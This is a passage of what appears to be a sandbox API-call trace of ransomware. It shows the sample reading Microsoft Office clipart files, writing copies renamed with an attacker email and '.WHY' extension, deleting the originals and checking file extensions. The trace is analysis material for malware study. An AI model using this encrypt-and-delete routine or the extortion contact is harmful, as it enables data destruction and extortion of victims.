hTemplateFile=0x0) returned 0x3a0 [0271.926] GetLastError () returned 0x0 [0271.926] ReadFile (in: hFile=0x3cc, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x212c, lpOverlapped=0x0) returned 1 [0271.988] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x2130, lpOverlapped=0x0) returned 1 [0271.991] ReadFile (in: hFile=0x3cc, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0271.991] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.992] SetEndOfFile (hFile=0x3a0) returned 1 [0271.992] CloseHandle (hObject=0x3a0) returned 1 [0271.994] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.994] SetEndOfFile (hFile=0x3cc) returned 1 [0272.003] CloseHandle (hObject=0x3cc) returned 1 [0272.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0272.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0272.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.087] lstrlenW (lpString=".doc") returned 4 [0272.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.087] lstrlenW (lpString=".docx") returned 5 [0272.087] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.087] lstrlenW (lpString=".pdf") returned 4 [0272.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.088] lstrlenW (lpString=".xls") returned 4 [0272.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.088] lstrlenW (lpString=".xlsx") returned 5 [0272.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.088] lstrlenW (lpString=".ppt") returned 4 [0272.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.088] lstrlenW (lpString=".zip") returned 4 [0272.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.088] lstrlenW (lpString=".rar") returned 4 [0272.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.089] lstrlenW (lpString=".bz2") returned 4 [0272.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.089] lstrlenW (lpString=".7z") returned 3 [0272.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.089] lstrlenW (lpString=".dbf") returned 4 [0272.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.090] lstrlenW (lpString=".1cd") returned 4 [0272.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.090] lstrlenW (lpString=".jpg") returned 4 [0272.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.090] lstrlenW (lpString=".doc") returned 4 [0272.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.091] lstrlenW (lpString=".docx") returned 5 [0272.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.091] lstrlenW (lpString=".pdf") returned 4 [0272.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.091] lstrlenW (lpString=".xls") returned 4 [0272.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.091] lstrlenW (lpString=".xlsx") returned 5 [0272.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.091] lstrlenW (lpString=".ppt") returned 4 [0272.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.092] lstrlenW (lpString=".zip") returned 4 [0272.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.092] lstrlenW (lpString=".rar") returned 4 [0272.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.092] lstrlenW (lpString=".bz2") returned 4 [0272.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.092] lstrlenW (lpString=".7z") returned 3 [0272.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.092] lstrlenW (lpString=".dbf") returned 4 [0272.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.092] lstrlenW (lpString=".1cd") returned 4 [0272.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0272.093] lstrlenW (lpString=".jpg") returned 4 [0272.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.093] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0272.093] lstrlenW (lpString="AN04355_.WMF") returned 12 [0272.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0272.094] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=3228) returned 1 [0272.094] CloseHandle (hObject=0x3c8) returned 1 [0272.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0272.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0272.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0272.095] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.096] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0272.097] GetLastError () returned 0x0 [0272.097] ReadFile (in: hFile=0x3c8, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0xc9c, lpOverlapped=0x0) returned 1 [0272.209] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xca0, lpOverlapped=0x0) returned 1 [0272.212] ReadFile (in: hFile=0x3c8, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0272.212] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.212] SetEndOfFile (hFile=0x3a0) returned 1 [0272.213] CloseHandle (hObject=0x3a0) returned 1 [0272.218] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.218] SetEndOfFile (hFile=0x3c8) returned 1 [0272.225] CloseHandle (hObject=0x3c8) returned 1 [0272.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0272.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0272.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.227] lstrlenW (lpString=".doc") returned 4 [0272.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.228] lstrlenW (lpString=".docx") returned 5 [0272.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.228] lstrlenW (lpString=".pdf") returned 4 [0272.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.228] lstrlenW (lpString=".xls") returned 4 [0272.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.228] lstrlenW (lpString=".xlsx") returned 5 [0272.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.228] lstrlenW (lpString=".ppt") returned 4 [0272.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.228] lstrlenW (lpString=".zip") returned 4 [0272.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.229] lstrlenW (lpString=".rar") returned 4 [0272.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.229] lstrlenW (lpString=".bz2") returned 4 [0272.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.229] lstrlenW (lpString=".7z") returned 3 [0272.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.229] lstrlenW (lpString=".dbf") returned 4 [0272.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.541] lstrlenW (lpString=".1cd") returned 4 [0272.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.543] lstrlenW (lpString=".jpg") returned 4 [0272.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.543] lstrlenW (lpString=".doc") returned 4 [0272.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.543] lstrlenW (lpString=".docx") returned 5 [0272.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.544] lstrlenW (lpString=".pdf") returned 4 [0272.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.544] lstrlenW (lpString=".xls") returned 4 [0272.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.544] lstrlenW (lpString=".xlsx") returned 5 [0272.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.544] lstrlenW (lpString=".ppt") returned 4 [0272.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.544] lstrlenW (lpString=".zip") returned 4 [0272.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.544] lstrlenW (lpString=".rar") returned 4 [0272.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString=".bz2") returned 4 [0272.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString=".7z") returned 3 [0272.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.545] lstrlenW (lpString=".dbf") returned 4 [0272.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.545] lstrlenW (lpString=".1cd") returned 4 [0272.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0272.545] lstrlenW (lpString=".jpg") returned 4 [0272.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.546] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0272.546] lstrlenW (lpString="AN04385_.WMF") returned 12 [0272.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0272.614] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=5004) returned 1 [0272.614] CloseHandle (hObject=0x3b4) returned 1 [0272.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0272.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0272.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0272.615] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.615] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.021] GetLastError () returned 0x0 [0273.021] ReadFile (in: hFile=0x3b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x138c, lpOverlapped=0x0) returned 1 [0273.043] WriteFile (in: hFile=0x394, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x1390, lpOverlapped=0x0) returned 1 [0273.046] ReadFile (in: hFile=0x3b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0273.047] WriteFile (in: hFile=0x394, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.047] SetEndOfFile (hFile=0x394) returned 1 [0273.047] CloseHandle (hObject=0x394) returned 1 [0273.048] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.048] SetEndOfFile (hFile=0x3b4) returned 1 [0273.056] CloseHandle (hObject=0x3b4) returned 1 [0273.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.057] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0273.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.058] lstrlenW (lpString=".doc") returned 4 [0273.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.059] lstrlenW (lpString=".docx") returned 5 [0273.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.059] lstrlenW (lpString=".pdf") returned 4 [0273.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.059] lstrlenW (lpString=".xls") returned 4 [0273.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.059] lstrlenW (lpString=".xlsx") returned 5 [0273.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.059] lstrlenW (lpString=".ppt") returned 4 [0273.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.059] lstrlenW (lpString=".zip") returned 4 [0273.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.060] lstrlenW (lpString=".rar") returned 4 [0273.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.060] lstrlenW (lpString=".bz2") returned 4 [0273.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.060] lstrlenW (lpString=".7z") returned 3 [0273.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.060] lstrlenW (lpString=".dbf") returned 4 [0273.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.060] lstrlenW (lpString=".1cd") returned 4 [0273.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.061] lstrlenW (lpString=".jpg") returned 4 [0273.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.061] lstrlenW (lpString=".doc") returned 4 [0273.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.061] lstrlenW (lpString=".docx") returned 5 [0273.061] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.061] lstrlenW (lpString=".pdf") returned 4 [0273.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.061] lstrlenW (lpString=".xls") returned 4 [0273.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.062] lstrlenW (lpString=".xlsx") returned 5 [0273.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.062] lstrlenW (lpString=".ppt") returned 4 [0273.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.062] lstrlenW (lpString=".zip") returned 4 [0273.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.062] lstrlenW (lpString=".rar") returned 4 [0273.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.062] lstrlenW (lpString=".bz2") returned 4 [0273.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.062] lstrlenW (lpString=".7z") returned 3 [0273.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.063] lstrlenW (lpString=".dbf") returned 4 [0273.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.063] lstrlenW (lpString=".1cd") returned 4 [0273.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0273.063] lstrlenW (lpString=".jpg") returned 4 [0273.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.064] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0273.064] lstrlenW (lpString="BD00116_.WMF") returned 12 [0273.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0273.067] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=4870) returned 1 [0273.067] CloseHandle (hObject=0x3b4) returned 1 [0273.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0273.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0273.068] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.068] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0273.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0273.070] GetLastError () returned 0x0 [0273.070] ReadFile (in: hFile=0x3b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x1306, lpOverlapped=0x0) returned 1 [0273.202] WriteFile (in: hFile=0x394, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x1310, lpOverlapped=0x0) returned 1 [0273.206] ReadFile (in: hFile=0x3b4, lpBuffer=0x3e30020, 